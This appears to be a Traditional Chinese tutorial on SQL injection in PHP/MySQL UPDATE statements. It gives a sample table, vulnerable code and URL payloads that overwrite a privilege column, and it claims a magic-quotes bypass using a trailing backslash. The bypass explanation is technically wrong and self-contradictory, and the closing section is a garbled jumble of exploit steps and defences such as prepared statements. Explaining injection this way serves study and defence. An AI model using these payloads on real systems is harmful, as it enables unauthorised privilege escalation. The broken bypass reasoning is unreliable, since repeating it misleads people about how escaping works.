針對 PHP + MySQL 環境,分析 UPDATE 語句中變數未加引號與加引號兩種情況的注入利用方式,並驗證 GPC (Magic Quotes) 開啟時的繞過技巧。
CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL default '1',
`user` varchar(12) NOT NULL default 'heige',
`pass` varchar(122) NOT NULL default '123456'
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
INSERT INTO `userinfo` VALUES ('2','heige','123456');
目標:透過注入修改 groudid(權限等級)。
[MOD1]<?php
$sql = "update userinfo set pass=$p where user='heige'"; // $p 無引號
?>
Payload:https://target/test1.php?p=123456,groudid=1
執行 SQL:update userinfo set pass=123456,groudid=1 where user='heige'
結果:groudid 成功從 2 改為 1。
結論:無引號時,直接附加 ,欄位=值 即可任意修改其他欄位。
[MOD2]<?php
$sql = "update userinfo set pass='$p' where user='heige'"; // $p 有單引號
?>
嘗試 Payload:123456',groudid='1(GPC 開啟時單引號被轉義為 \')
執行 SQL:update userinfo set pass='123456\',groudid=\'1' where user='heige'
結果:groudid 未修改,pass 變成 123456',groudid='1。
MySQL 允許使用 \ 作為字串結尾的跳脫字元。若輸入 123456\,GPC 轉義後變 123456\\,MySQL 解析為字串 123456\(反斜線被吃掉),導致後續單引號「脫離」字串界限:
update userinfo set pass='123456\'',groudid='1' where user='heige'
實際 MySQL 解析為:pass='123456'',groudid='1' 生效!
p=123456\ 閉合字串(GPC 變 123456\\)。pass='123456\',下一個單引號成為 SQL 語法一部分。,groudid=1 即可修改欄位。mysqli_prepare / PDO::prepare,徹底分離程式碼與資料。groudid 僅允許數字)。DROP/ALTER)。php.ini 設 magic_quotes_gpc=Off 並統一用 mysqli_real_escape_string。